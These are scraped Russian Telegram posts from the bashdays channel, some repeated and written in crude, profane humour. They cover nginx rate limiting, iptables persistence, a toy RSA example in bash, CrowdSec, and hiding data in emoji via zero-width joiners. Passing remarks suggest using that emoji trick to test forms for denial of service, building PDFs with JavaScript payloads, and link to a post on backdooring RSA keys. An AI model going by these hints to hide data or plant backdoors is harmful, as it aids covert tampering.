limit_req_zone $limit zone=bashdays:20m rate=200r/s; limit_req_zone - ключ для отслеживания запросов.$binary_remote_addr - системная переменная nginx, внутри хранит ip адрес клиента.zone=bashdays:20m - произвольное имя зоны, 20m это объём памяти в мегабайтах для хранения данных. В этой зоне хранятся данные о количестве запросов от каждого уникального клиента.rate=200r/s - ограничение равное 200 запросов в секунды с одного ip клиента. Для рейта есть такая табличка:
Сценарий rate burst
-------------------------------------------
API с высокой нагрузкой 100r/s 200
Средний веб-сайт 50r/s 100
Анти-DDoS защита 10r/s 20
CDN или кеширующий прокси 500r/s 1000
тестируем так:
ab -n 1000 -c 50 http://bashdays.ru/
wrk -t4 -c100 -d10s http://bashdays.ru/
И смотрим нет ли ошибок 503 Слишком дохуя запросов и корректно ли отрабатывает лимит.
Сука! А как рассчитать эту 20m памяти? Щаа…
Максимальное количество клиентов = размер зоны в байтах / размерзаписинаклиента
Пардон, хуйню сморозил, давай на котиках:
Пример расчёта для 20m (20 мегабайт = 20 × 1024 × 1024 = 20 971 520 байт):
20 971 520 / 128 = 163 840
То есть, зона
20m может хранить лимиты примерно для 163 тысяч уникальных клиентов одновременно.А откуда взялось 128?
Как я написал выше nginx хранит каждого уникального клиента (ключ
$binary_remote_addr или другое значение) в зоне, используя примерно 128 байт на запись.Есть такая табличка:
< 20 000 = 4m
~80 000 = 10m
~160 000 = 20m
500 000+ = 64m
Да, еще можно настроить
burst для резких пиков. burst позволяет временно превышать rate, прежде чем включится жёсткий лимит.Например:
limit_req zone=bashdays burst=400 nodelay;
Клиенту разрешается до 400 мгновенных запросов, а затем он попадает в ограничение 200r/s.
nodelay означает, что первые 400 запросов проходят сразу, а потом начинается строгий лимит.Теперь по мапингам и гео хуйне.
В первом блоке про гео:
1. Все пользователи получат
$limited = 1 (по умолчанию).2. Те, кто с
192.168.1.1 или из 10.0.0.0/24, получат $limited = 0 и не будут ограничены.Во втором блоке про мапинг:
1. Если
$limited = 1, то $limit = $binary_remote_addr (IP-адрес клиента).2. Если
$limited = 0, то $limit = "", и клиент не попадает в limit_req_zone.
Короче делаем что-то вроде белого списка и кто в него не входит — идёт нахуй! Надеюсь понятно объяснил.
Теперь чтобы вся эта поебота заработала, нужно прописать в нужный локейшен:
location / {  
  limit_req zone=bashdays burst=10 nodelay;  
  try_files $uri $uri/ /index.php?$args;  
}  Про burst и nodelay выше уже рассказывал.
Ну а чтобы отдавать нужный статус при достижении лимита, делаем:
location / {  
    limit_req_status 429;
    limit_req zone=bashdays burst=10 nodelay;  
    try_files $uri $uri/ /index.php?$args;  
}Возвращаем 429 Слишком дохуя запросов, вместо стандартного 503.
Бездумно это настраивать не советую, могут пострадать обычные пользователи, а вот если всё вдумчиво сделать — спасешь свой стартап от злых писек.
tags: #nginx #devops #security
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  This media is not supported in your browser
    VIEW IN TELEGRAM
  🔥 Скрытые данные в эмодзи/символах
Тут некий деятель Paul Butler, запиздярил штуку, которая позволяет при помощи последовательностей ZWJ (Zero Width Joiner) закодировать в один эмодзи неограниченный объём данных.
ㅤ
Да чо далеко ходить, идем сюды, выбираем эмодзи или букву алфавита, пишем текст который нужно спрятать и готово.
Копируем получившийся эмодзи/символ и отправляем по назначению. На этом же ресурсе можно расшифровать, то что получилось.
Где можно применить?
Ну конечно же поиграться, изобрести что-то своё, попентестить формочки на отказ в ослуживании, либо вставлять метки «жучки», чтобы в случае утечки данных отследить отправителя и получателя.
Тут всё зависит от твоих потребностей и креативных идей. В телеге кстати нормально работает, но при условии если эмодзи отправлен без дополнительного текста и т.п. В других мессенджерах не проверял.
🅰️ 🅰️ 
➡️  Технический подробности глянуть тут.
➡️  Исходники кодера/декодера на гитхабе.
Надо на Bash такую пепяку сделать, ради прикола.
tags: #security #crypt
—
🔔  @bashdays➡️  @gitgate
Тут некий деятель Paul Butler, запиздярил штуку, которая позволяет при помощи последовательностей ZWJ (Zero Width Joiner) закодировать в один эмодзи неограниченный объём данных.
ㅤ
Да чо далеко ходить, идем сюды, выбираем эмодзи или букву алфавита, пишем текст который нужно спрятать и готово.
Копируем получившийся эмодзи/символ и отправляем по назначению. На этом же ресурсе можно расшифровать, то что получилось.
Unicode представляет текст как последовательность кодовых точек — чисел, которым присвоено определённое значение. Каждая кодовая точка записывается в формате U+XXXX, где XXXX — это шестнадцатеричное число в верхнем регистре.
Для латинских символов каждой кодовой точке соответствует конкретный символ на экране. Например, кодовая точка U+0067 обозначает букву "g".
Однако в некоторых системах письма один видимый символ может состоять из нескольких кодовых точек. Например, символ "की" в деванагари формируется из кодовых точек U+0915 и U+0940, соединённых вместе.
Где можно применить?
Ну конечно же поиграться, изобрести что-то своё, попентестить формочки на отказ в ослуживании, либо вставлять метки «жучки», чтобы в случае утечки данных отследить отправителя и получателя.
Тут всё зависит от твоих потребностей и креативных идей. В телеге кстати нормально работает, но при условии если эмодзи отправлен без дополнительного текста и т.п. В других мессенджерах не проверял.
В комменты закину такой смайлик на потыкать. Перешли себе в Избранное и от туда уже правой мышкой - копировать текст.
Надо на Bash такую пепяку сделать, ради прикола.
tags: #security #crypt
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  This media is not supported in your browser
    VIEW IN TELEGRAM
  Щас бы яблочко куснуть, выпить пива и уснуть
На повестке сегодня проект PDFLinux.
ㅤ
Если коротко, то вот тебе pdf файл, открой его в браузере (на базе Chromium, Firefox) и у тебя загрузится Linux.
Нихуя се! А как так? В PDF файлах обычно размещаются статические документы, но также у pdf формата есть поддержка javascript. Дада, тот самый, который: 1+1=11.
Вот javascript и позволяет всё это проделать, но конечно же с ограничениями.
Проект основан на эмуляторе RISC-V.
Запуск в браузере осуществляется через движок PDFium. А чтобы потыкать в интерактивном режиме, есть виртуальная клавиатура.
Понятно дело это говнище безбожно тормозит, браузерные ограничения и т.п, но концепт прикольный.
Разработчик кстати и Doom запихал в PDF, можно погонять тут.
Исходники и инструкции по сборке доступны в публичной репе на гитхабе.
Посмотри, мож придумаешь где применить.
tags: #linux #security
—
🔔  @bashdays➡️  @gitgate
На повестке сегодня проект PDFLinux.
ㅤ
Если коротко, то вот тебе pdf файл, открой его в браузере (на базе Chromium, Firefox) и у тебя загрузится Linux.
Нихуя се! А как так? В PDF файлах обычно размещаются статические документы, но также у pdf формата есть поддержка javascript. Дада, тот самый, который: 1+1=11.
Вот javascript и позволяет всё это проделать, но конечно же с ограничениями.
Помню в Adobe Acrobat там вот полная поддержка js была, вот это прям была кладезь для экспериментов.
Проект основан на эмуляторе RISC-V.
Запуск в браузере осуществляется через движок PDFium. А чтобы потыкать в интерактивном режиме, есть виртуальная клавиатура.
Понятно дело это говнище безбожно тормозит, браузерные ограничения и т.п, но концепт прикольный.
Пентестеры, берите на вооружение, возможно замутите свою pdf’ку, но уже с полезной нагрузкой.
Уточнение — с полезной, а не деструктивной, у нас не инкубатор черношляпых.
Разработчик кстати и Doom запихал в PDF, можно погонять тут.
Исходники и инструкции по сборке доступны в публичной репе на гитхабе.
Посмотри, мож придумаешь где применить.
tags: #linux #security
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  Привет друзья, наш товарищ 
ㅤ
Сюда она естественно не влезла, да и с форматированием тут беда, поэтому пришлось поднять сопроводительный блог для таких целей.
Так что запасаемся кофеём/пивком и камон 👇
➡️  Всё что нужно знать про CrowdSec
tags: #security
—
🔔  @bashdays➡️  @gitgate
Sf1nk5 подготовил внушительную статью про CrowdSec. За что ему объявлена благодарность.CrowdSec — это система защиты от кибератак, которая использует анализ поведения и коллективную защиту. Она похожа на Fail2Ban, но более мощная и современная.
ㅤ
Сюда она естественно не влезла, да и с форматированием тут беда, поэтому пришлось поднять сопроводительный блог для таких целей.
Так что запасаемся кофеём/пивком и камон 👇
tags: #security
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  Как работает RSA.
Вся ассиметричная криптография держится на принципе:
ㅤ
Сразу с ума не сходи, сначала душная теория, а потом весёлая практика — на письках. Как ты любишь!
Берем простые числа:
Подставляем в формулу:
Получается:
Открытый ключ:
Закрытый ключ:
😲  Пример на письках
Антон спрашивает у Маши — а сколько сантиметров хуй у Ивана?
Маша знает что у Ивана хуй — 21 сантиметр. Но Маше нужно это сообщить Антону, чтобы Иван не узнал.
Для этого Маше нужно знать открытый ключ Антона.
Берем открытый ключ из предыдущих вычислений
И шифруем хуй Ивана:
Возводим длину хуя Ивана в 691 степень по модулю 779 и получаем число 717.
Теперь Маша передает без палева число 717 Антону.
Антон же с помощью закрытого ключа расшифровывает длину хуя Ивана.
Аналогично возводим в степень по модулю. С помощью математики Антон узнаёт сколько сантиметров хуй у Ивана.
Даже линейка не понадобилась!
Подытожим:
Даже если Иван перехватит такое сообщение, то цифра 717 ему ни о чем не скажет, не может же быть хуй 717 см… хотя у леперов и пикабушников наверное так и есть.
Вот тебе пример на Bash:
В результате получим: 717 и 21. Что и требовалось доказать!
Чуть позже покажу как «ломают» такие ключи и как сгенерить RSA ключ с бэкдором.
Изучай!
🛠  #ssl #security #rsa #crypto
—
✅  @bashdays / @linuxfactory / @blog
Вся ассиметричная криптография держится на принципе:
В одну сторону — быстро, в другую сторону — неразумно и пиздец как долго.
ㅤ
Сразу с ума не сходи, сначала душная теория, а потом весёлая практика — на письках. Как ты любишь!
Берем простые числа:
p = 19
q = 41
Подставляем в формулу:
N=p*q=779ф(N)=(p-1)*(q-1)=720e=691d=571
N = p * q = 779 = это модуль, он используется как часть открытого и закрытого ключей.φ(N) = (p - 1)(q - 1) = 18 * 40 = 720 = функция Эйлера от N, она показывает количество чисел, взаимно простых с N.e = 691 = открытая экспонента, часть публичного ключа. Она должна быть взаимно проста с φ(N).d = 571 = закрытая экспонента, часть приватного ключа. Это мультипликативная обратная величина к e по модулю φ(N) (то есть: (d * e) % φ(N) = 1).Получается:
Открытый ключ:
(e, N) = (691, 779)Закрытый ключ:
(d, N) = (571, 779)Антон спрашивает у Маши — а сколько сантиметров хуй у Ивана?
Маша знает что у Ивана хуй — 21 сантиметр. Но Маше нужно это сообщить Антону, чтобы Иван не узнал.
Для этого Маше нужно знать открытый ключ Антона.
Берем открытый ключ из предыдущих вычислений
(691, 779).И шифруем хуй Ивана:
21^691 mod 779 = 717
Возводим длину хуя Ивана в 691 степень по модулю 779 и получаем число 717.
Теперь Маша передает без палева число 717 Антону.
Антон же с помощью закрытого ключа расшифровывает длину хуя Ивана.
717^571 mod 779 = 21
Аналогично возводим в степень по модулю. С помощью математики Антон узнаёт сколько сантиметров хуй у Ивана.
Даже линейка не понадобилась!
Подытожим:
Даже если Иван перехватит такое сообщение, то цифра 717 ему ни о чем не скажет, не может же быть хуй 717 см… хотя у леперов и пикабушников наверное так и есть.
Вот тебе пример на Bash:
#!/bin/bash
# Исходные данные
m=21
e=691
d=571
n=779
# Шифруем: c = m^e mod n
c=$(echo "$m ^ $e % $n" | bc)
echo "Зашифрованное сообщение: $c"
# Расшифровываем: m = c^d mod n
decrypted=$(echo "$c ^ $d % $n" | bc)
echo "Расшифрованное сообщение: $decrypted"
В результате получим: 717 и 21. Что и требовалось доказать!
В этот скрипт можешь подставить исходные данные своего прибора и результаты скинуть пиэму.
Чуть позже покажу как «ломают» такие ключи и как сгенерить RSA ключ с бэкдором.
Изучай!
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  1 123
  Внедряем бэкдор в RSA
Здарова и с внеплановой пятницей!
Накидал тебе пост с практическим кодом, как внедряют дополнительную дырку в очко. В телегу оно сука не влезло, поэтому закинул в блог. А как работает RSA я разжевал тут.
Читать чтиво 👇
https://blog.bashdays.ru/vnedryaem-bekdor-v-rsa-klyuch/
Комменты можешь оставлять к этому посту, мож чё дельное напишешь.
🛠  #ssl #security #rsa #crypto
—
✅  @bashdays / @linuxfactory / @blog
Здарова и с внеплановой пятницей!
Накидал тебе пост с практическим кодом, как внедряют дополнительную дырку в очко. В телегу оно сука не влезло, поэтому закинул в блог. А как работает RSA я разжевал тут.
Читать чтиво 👇
https://blog.bashdays.ru/vnedryaem-bekdor-v-rsa-klyuch/
Комменты можешь оставлять к этому посту, мож чё дельное напишешь.
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  1 54
  Вечный вопрос — как сохранить правила iptables?
ㅤ
Вот навтыкал ты всяких безумных правил и цепочек через командную строку, радуешься. А после ребута все твои поделки к хуям улетучиваются.
И каждый раз ты идешь гуглить, как это решить. Жиза. Каждый раз, как в первый раз.
А делается всё просто, двумя командами:
Ладно, спиздел, нужно еще доставить:
Эта хуёвина автоматом создает файлы
А если у тебя длинный писюн, можно и от первых двух команд избавиться.
😀 😃 😄 😁 😅 😂 🤣 😊 
😇 🙂 🙃 😉 😌 😍 🥰 😘 
😗 😙 😚 😋 😛 😝 😜 🤪 
🤨 🧐 🤓 😎 🤩 🥳 😏 😒 
Просто открываешь напрямую файл
После этого не забываем дёрнуть слона за хобот:
Либо по старинке, добавляешь правила через терминал и затем делаешь:
Но в этом случае файлы
Саммари
1. Ставим
2. Пиздярим правила в терминале
3. Применяем
Как делаю я? У меня писюн длинный, поэтому сразу вношу все необходимое руками в
Такие дела, изучай.
🛠  #linux #security #iptables
—
✅  @bashdays ✅  @linuxfactory ✅  @blog
ㅤ
Вот навтыкал ты всяких безумных правил и цепочек через командную строку, радуешься. А после ребута все твои поделки к хуям улетучиваются.
И каждый раз ты идешь гуглить, как это решить. Жиза. Каждый раз, как в первый раз.
А делается всё просто, двумя командами:
sudo iptables-save > /etc/iptables/rules.v4
sudo ip6tables-save > /etc/iptables/rules.v6
Ладно, спиздел, нужно еще доставить:
sudo apt install iptables-persistent
Эта хуёвина автоматом создает файлы
/etc/iptables/rules.v4,  /etc/iptables/rules.v6 и будет применять их при загрузке.А если у тебя длинный писюн, можно и от первых двух команд избавиться.
Просто открываешь напрямую файл
rules.v4/rules.v6 и прописываешь туда все свои хотелки. После этого не забываем дёрнуть слона за хобот:
systemctl restart netfilter-persistent
Либо по старинке, добавляешь правила через терминал и затем делаешь:
sudo netfilter-persistent save
Но в этом случае файлы
rules.v4/rules.v6 будут перезатерты, имей это ввиду если лез в них своими руками.Саммари
1. Ставим
iptables-persistent2. Пиздярим правила в терминале
3. Применяем
netfilter-persistent saveКак делаю я? У меня писюн длинный, поэтому сразу вношу все необходимое руками в
rules.v4/rules.v6, хотя это не есть бест-практика, не делай так.Такие дела, изучай.
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  1 66
  Вчера в посте я упомянул конфиги 
ㅤ
Давай посмотрим что в других дистрибутивах происходит.
Debian / Ubuntu
Основной пакет → iptables-persistent / netfilter-persistent
RHEL / CentOS / Rocky / Alma (iptables-services)
Fedora (новые версии)
По умолчанию использует firewalld (поверх nftables). Если ставишь iptables-services:
Arch Linux / Manjaro
Из коробки iptables не сохраняет правила, обычно юзеры делают сами:
OpenSUSE / SLES
По умолчанию тоже firewalld, если ставить пакет iptables, правила обычно хранят в:
Astra Linux (Смоленск, Орёл и др. редакции)
Астра базируется на Debian, поэтому у неё схема как у Debian/Ubuntu:
РЕД ОС (RedOS)
RedOS базируется на RHEL/CentOS, поэтому там всё по «редхэту»:
Вроде основное осветил, если что-то проебал, забыл, затроил — пиши в комменты, поправим.
А вообще при возможности пользуйся облачным фаерволом, если страшно конфигурять iptables или руки растут из жопы.
🛠  #linux #security #iptables
—
✅  @bashdays ✅  @linuxfactory ✅  @blog
iptables лишь для части дистрибутивов, Alex эту ситуацию в комментариях подметил верно.ㅤ
Давай посмотрим что в других дистрибутивах происходит.
Debian / Ubuntu
Основной пакет → iptables-persistent / netfilter-persistent
/etc/iptables/rules.v4
/etc/iptables/rules.v6
RHEL / CentOS / Rocky / Alma (iptables-services)
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Fedora (новые версии)
По умолчанию использует firewalld (поверх nftables). Если ставишь iptables-services:
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Arch Linux / Manjaro
Из коробки iptables не сохраняет правила, обычно юзеры делают сами:
/etc/iptables/iptables.rules
/etc/iptables/ip6tables.rules
OpenSUSE / SLES
По умолчанию тоже firewalld, если ставить пакет iptables, правила обычно хранят в:
/etc/sysconfig/iptables
Astra Linux (Смоленск, Орёл и др. редакции)
Астра базируется на Debian, поэтому у неё схема как у Debian/Ubuntu:
/etc/iptables/rules.v4
/etc/iptables/rules.v6
РЕД ОС (RedOS)
RedOS базируется на RHEL/CentOS, поэтому там всё по «редхэту»:
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Вроде основное осветил, если что-то проебал, забыл, затроил — пиши в комменты, поправим.
А вообще при возможности пользуйся облачным фаерволом, если страшно конфигурять iptables или руки растут из жопы.
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  Как прокачать Minecraft сервер с помощью Angie
Накидал пост о том, как мы мигрировали minecraft сервер на выделенный сервер и защитились от ботов с помощью Angie, просто и эффективно.
Сюда по классике не влезло, всё в блоге 👇
Читать: https://two.su/bieb4
🛠  #angie #devops #security
—
💬  Bashdays 📲  MAX 🌐  LF 🔵  Blog
Накидал пост о том, как мы мигрировали minecraft сервер на выделенный сервер и защитились от ботов с помощью Angie, просто и эффективно.
Сюда по классике не влезло, всё в блоге 👇
Читать: https://two.su/bieb4
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  5 48